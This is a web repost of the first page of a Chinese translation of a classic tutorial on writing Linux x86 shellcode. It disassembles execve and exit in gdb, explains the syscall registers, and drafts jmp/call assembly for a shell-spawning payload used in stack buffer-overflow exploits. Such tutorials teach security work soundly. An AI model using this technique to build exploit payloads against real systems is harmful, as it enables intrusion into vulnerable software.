分享
 
 
 

linux下的shellcode书写

王朝system·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

概述:

aleph1书写了这篇经典文章,首先要向他致敬。

tt整理翻译了它,其次就是要向他表示衷心的感谢。

该篇文章由浅入深地详细介绍了整个书写shellcode的步骤,

并给出了图示帮助理解。文章中涉及到了一些工具的使用,

要求具备汇编语言、编译原理的基础知识,如果你对此不

了解的话,我建议你不要看下去,而是应该回头学习更基础

的东西。gdb、objdump、vi、gcc等等工具你必须学会使用,

你必须了解call命令、int命令与普通jmp命令的区别所在,

你还应该知道函数从c语言编译到机器码时做了什么工作。

如果所有的这一切都不成问题,你可以开始了。

come on,baby!

测试:

RedHat 6.0/Intel PII

目录:

★ 让我们开始吧

1. vi shellcode.c

2. gcc -o shellcode -ggdb -static shellcode.c

3. gdb shellcode

4. 研究 main() 函数的汇编代码

5. 研究 execve() 函数的执行过程

6. vi shellcode_exit.c

7. gcc -o shellcode_exit -static shellcode_exit.c

8. gdb shellcode_exit

9. 研究 exit() 函数的执行过程

10. 整个过程的伪汇编代码

11. 观察堆栈分布情况

12. 修改后的伪汇编代码

13. 调整汇编代码

14. 观察当前堆栈

15. vi shellcodeasm.c

16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c

17. gdb shellcodeasm

18. 验证shellcode

19. 最后的调整

20. 验证最后调整得到的shellcode

★ 我对shellcode以及这篇文章的看法

1. 你是从DOS年代过来的吗?

2. 关于文章中的一些技术说明

3. 如何写Sun工作站上的shellcode?

★ 让我们开始吧

1. vi shellcode.c

#include

int main ( int argc, char * argv[] )

{

char * name[2];

name[0] = "/bin/ksh";

name[1] = NULL;

execve( name[0], name, NULL );

return 0;

}

2. gcc -o shellcode -ggdb -static shellcode.c

3. gdb shellcode

[scz@ /home/scz/src]> gdb shellcode

GNU gdb 4.17.0.11 with Linux support

This GDB was configured as "i386-redhat-linux"...

(gdb) disassemble main <-- -- -- 输入

Dump of assembler code for function main:

0x80481a0 : pushl %ebp

0x80481a1 : movl %esp,%ebp

0x80481a3 : subl $0x8,%esp

0x80481a6 : movl $0x806f308,0xfffffff8(%ebp)

0x80481ad : movl $0x0,0xfffffffc(%ebp)

0x80481b4 : pushl $0x0

0x80481b6 : leal 0xfffffff8(%ebp),%eax

0x80481b9 : pushl %eax

0x80481ba : movl 0xfffffff8(%ebp),%eax

0x80481bd : pushl %eax

0x80481be : call 0x804b9b0 <__execve>

0x80481c3 : addl $0xc,%esp

0x80481c6 : xorl %eax,%eax

0x80481c8 : jmp 0x80481d0

0x80481ca : leal 0x0(%esi),%esi

0x80481d0 : leave

0x80481d1 : ret

End of assembler dump.

(gdb) disas __execve <-- -- -- 输入

Dump of assembler code for function __execve:

0x804b9b0 <__execve>: pushl %ebx

0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx

0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx

0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx

0x804b9bd <__execve+13>: movl $0xb,%eax

0x804b9c2 <__execve+18>: int $0x80

0x804b9c4 <__execve+20>: popl %ebx

0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax

0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error>

0x804b9d0 <__execve+32>: ret

End of assembler dump.

4. 研究 main() 函数的汇编代码

0x80481a0 : pushl %ebp # 保存原来的栈基指针

# 栈基指针与堆栈指针不是一个概念

# 栈基指针对应栈底,堆栈指针对应栈顶

0x80481a1 : movl %esp,%ebp # 修改得到新的栈基指针

# 与我们以前在dos下汇编格式不一样

# 这个语句是说把esp的值赋给ebp

# 而在dos下,正好是反过来的,一定要注意

0x80481a3 : subl $0x8,%esp # 堆栈指针向栈顶移动八个字节

# 用于分配局部变量的存储空间

# 这里具体就是给 char * name[2] 预留空间

# 因为每个字符指针占用4个字节,总共两个指针

0x80481a6 : movl $0x806f308,0xfffffff8(%ebp)

# 将字符串"/bin/ksh"的地址拷贝到name[0]

# name[0] = "/bin/ksh";

# 0xfffffff8(%ebp) 就是 ebp - 8 的意思

# 注意堆栈的增长方向以及局部变量的分配方向

# 先分配name[0]后分配name[1]的空间

0x80481ad : movl $0x0,0xfffffffc(%ebp)

# 将NULL拷贝到name[1]

# name[1] = NULL;

0x80481b4 : pushl $0x0

# 按从右到左的顺序将execve()的三个参数依次压栈

# 首先压入 NULL (第三个参数)

# 注意pushl将压入一个四字节长的0

0x80481b6 : leal 0xfffffff8(%ebp),%eax

# 将 ebp - 8 本身放入eax寄存器中

# leal的意思是取地址,而不是取值

0x80481b9 : pushl %eax # 其次压入 name

0x80481ba : movl 0xfffffff8(%ebp),%eax

0x80481bd : pushl %eax # 将 ebp - 8 本身放入eax寄存器中

# 最后压入 name[0]

# 即 "/bin/ksh" 字符串的地址

0x80481be : call 0x804b9b0 <__execve>

# 开始调用 execve()

# call指令首先会将返回地址压入堆栈

0x80481c3 : addl $0xc,%esp

# esp + 12

# 释放为了调用 execve() 而压入堆栈的内容

0x80481c6 : xorl %eax,%eax

0x80481c8 : jmp 0x80481d0

0x80481ca : leal 0x0(%esi),%esi

0x80481d0 : leave

0x80481d1 : ret

5. 研究 execve() 函数的执行过程

Linux在寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式(int $0x80)

0x804b9b0 <__execve>: pushl %ebx # ebx压栈

0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx

# 把 esp + 16 本身赋给edx

# 为什么是16,因为栈顶现在是ebx

# 下面依次是返回地址、name[0]、name、NULL

# edx --> NULL

0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx

# 把 esp + 12 本身赋给 ecx

# ecx --> name

# 命令的参数数组,包括命令自己

0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx

# 把 esp + 8 本身赋给 ebx

# ebx --> name[0]

# 命令本身,"/bin/ksh"

0x804b9bd <__execve+13>: movl $0xb,%eax

# 设置eax为0xb,这是syscall表中的索引

# 0xb对应execve

0x804b9c2 <__execve+18>: int $0x80

# 软件中断,转入kernel模式

0x804b9c4 <__execve+20>: popl %ebx

# 恢复ebx

0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax

0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error>

# 判断返回值,报告可能的系统调用错误

0x804b9d0 <__execve+32>: ret # execve() 调用返回

# 该指令会用压在堆栈中的返回地址

从上面的分析可以看出,完成 execve() 系统调用,我们所要做的不过是这么几项而已:

a) 在内存中有以NULL结尾的字符串"/bin/ksh"

b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值

c) 将0xb拷贝到寄存器EAX中

d) 将"/bin/ksh"的地址拷贝到寄存器EBX中

e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中

f) 将 NULL 拷贝到寄存器EDX中

g) 执行中断指令int $0x80

如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据

是随机的,通常这个程序会core dump。我们希望如果execve调用失败的话,程序可以正

常退出,因此我们必须在execve调用后增加一个exit系统调用。它的C语言程序如下:

6. vi shellcode_exit.c

#include

int main ()

{

exit( 0 );

}

7. gcc -o shellcode_exit -static shellcode_exit.c

8. gdb shellcode_exit

[scz@ /home/scz/src]> gdb shellcode_exit

GNU gdb 4.17.0.11 with Linux support

This GDB was configured as "i386-redhat-linux"...

(gdb) disas _exit <-- -- -- 输入

Dump of assembler code for function _exit:

0x804b970 <_exit>: movl %ebx,%edx

0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx

0x804b976 <_exit+6>: movl $0x1,%eax

0x804b97b <_exit+11>: int $0x80

0x804b97d <_exit+13>: movl %edx,%ebx

0x804b97f <_exit+15>: cmpl $0xfffff001,%eax

0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error>

End of assembler dump.

9. 研究 exit() 函数的执行过程

我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出码放

入EBX中,然后执行"int $0x80"。大部分程序正常退出时返回0值,我们也在EBX中放入0。

现在我们所要完成的工作又增加了三项:

a) 在内存中有以NULL结尾的字符串"/bin/ksh"

b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值

c) 将0xb拷贝到寄存器EAX中

d) 将"/bin/ksh"的地址拷贝到寄存器EBX中

e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中

f) 将 NULL 拷贝到寄存器EDX中

g) 执行中断指令int $0x80

h) 将0x1拷贝到寄存器EAX中

i) 将0x0拷贝到寄存器EBX中

j) 执行中断指令int $0x80

10. 整个过程的伪汇编代码

下面我们用汇编语言完成上述工作。我们把"/bin/ksh"字符串放到代码的后面,并且会

把字符串的地址和NULL加到字符串的后面:

------------------------------------------------------------------------------

movl string_addr,string_addr_addr #将字符串的地址放入某个内存单元中

movb $0x0,null_byte_addr #将null放入字符串"/bin/ksh"的结尾

movl $0x0,null_addr #将NULL放入某个内存单元中

movl $0xb,%eax #将0xb拷贝到EAX中

movl string_addr,%ebx #将字符串的地址拷贝到EBX中

leal string_addr_addr,%ecx #将存放字符串地址的地址拷贝到ECX中

leal null_string,%edx #将存放NULL的地址拷贝到EDX中

int $0x80 #执行中断指令int $0x80 (execve()完成)

movl $0x1, %eax #将0x1拷贝到EAX中

movl $0x0, %ebx #将0x0拷贝到EBX中

int $0x80 #执行中断指令int $0x80 (exit(0)完成)

/bin/ksh string goes here. #存放字符串"/bin/ksh"

------------------------------------------------------------------------------

11. 观察堆栈分布情况

现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中

的确切位置。一种解决的方法是用一个jmp和call指令。jmp和call指令可以用IP相关寻址,

也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址

的确切数值。如果我们将call指令放在字符串"/bin/ksh"的前面,然后jmp到call指令的位置,

那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址

)压入堆栈。我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符

串地址)从堆栈中弹出到某个寄存器中。假设J代表JMP指令,C代表CALL指令,S代表其他指令,

s代表字符串"/bin/ksh",那么我们执行的顺序就象下图所示:

内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存

低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端

buffer sfp ret a b c

<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]

^|^ ^| |

|||_____________||____________| (1)

(2) ||_____________||

|______________| (3)

栈顶 栈底

sfp : 栈基指针

ret : 返回地址

a,b,c: 函数入口参数

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode

的起始处

(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令

(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行

12. 修改后的伪汇编代码

经过上述修改后,我们的汇编代码变成了下面的样子:

------------------------------------------------------------------------------

jmp offset-to-call # 3 bytes 1.首先跳到call指令处去执行

popl %esi # 1 byte 3.从堆栈中弹出字符串地址到ESI中

movl %esi,array-offset(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面

movb $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾

movl $0x0,null-offset(%esi) # 7 bytes 6.将null长字放到字符串地址的地址后面

movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中

movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中

leal array-offset(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX

leal null-offset(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDX

int $0x80 # 2 bytes 11.调用中断指令int $0x80

movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中

movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中

int $0x80 # 2 bytes 14.调用中断int $0x80

call offset-to-popl # 5 bytes 2.将返回地址压栈,跳到popl处执行

/bin/ksh string goes here.

------------------------------------------------

[1] [2] [3] 下一页

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有